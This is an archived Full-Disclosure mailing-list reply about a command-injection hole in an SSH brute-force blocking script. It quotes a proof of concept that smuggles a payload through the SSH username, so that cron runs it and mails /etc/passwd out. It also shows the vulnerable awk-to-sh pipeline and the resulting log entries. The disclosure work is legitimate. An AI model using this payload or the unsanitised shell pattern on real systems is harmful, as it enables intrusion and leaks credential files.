Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: [Full-disclosure] SSH brute force blocking tool |
|---|---|
| Date: | Tue, 28 Nov 2006 10:56:33 -0500 |
However, it is certainly possible. Here is an example.
#!/bin/sh command='$(x=$(pwd|head${IFS}-c1);$(cat<<<mail${IFS}full-disclosure@lists.grok.org.uk)<${x}etc${x}passwd)' ssh -o "BatchMode yes" "a a $command"@$1
Which produces log entries like this:
Nov 28 15:14:15 insomniac sshd[5897]: pam_succeed_if(sshd:auth): error retrieving information about user a a $(x=$(pwd|head${IFS}-c1);$(cat<<<mail${IFS}full-disclosure@lists.grok.org.uk)<${x}etc${x}passwd)
Nov 28 15:14:15 insomniac sshd[5897]: Failed password for invalid user a a $(x=$(pwd|head${IFS}-c1);$(cat<<<mail${IFS}full-disclosure@lists.grok.org.uk)<${x}etc${x}passwd) from 127.0.0.1 port 47403 ssh2
Note that the 13th field both contains a dot and is entirely controlled by me. This string is placed in /etc/hosts.deny by the script after executed by cron.
The $1 in the awk script below is the entire string, which is piped unsanitised into /bin/sh:
awk '!/#/ && /\./ && !a[$0]++ {print "iptables -A INPUT -s "$1" -i eth0 -d '$ifaddr' -p TCP --dport 22 -j REJECT"}' /etc/hosts.deny |\ awk '/iptables/ && !/#/ && !/-s -i/'|sh
The results are obvious.
Incorrect did you look at the fix? It isn't unsanitized as you state:
function IPT {}
So the buck stops there before it is put into the shell.
The happiness of society is the end of government. John Adams
smime.p7s
Description: S/MIME Cryptographic Signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
| Previous by Date: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
|---|---|
| Next by Date: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
| Previous by Thread: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
| Next by Thread: | Re: [Full-disclosure] SSH brute force blocking tool, Tavis Ormandy |
| Indexes: | [Date] [Thread] [Top] [All Lists] |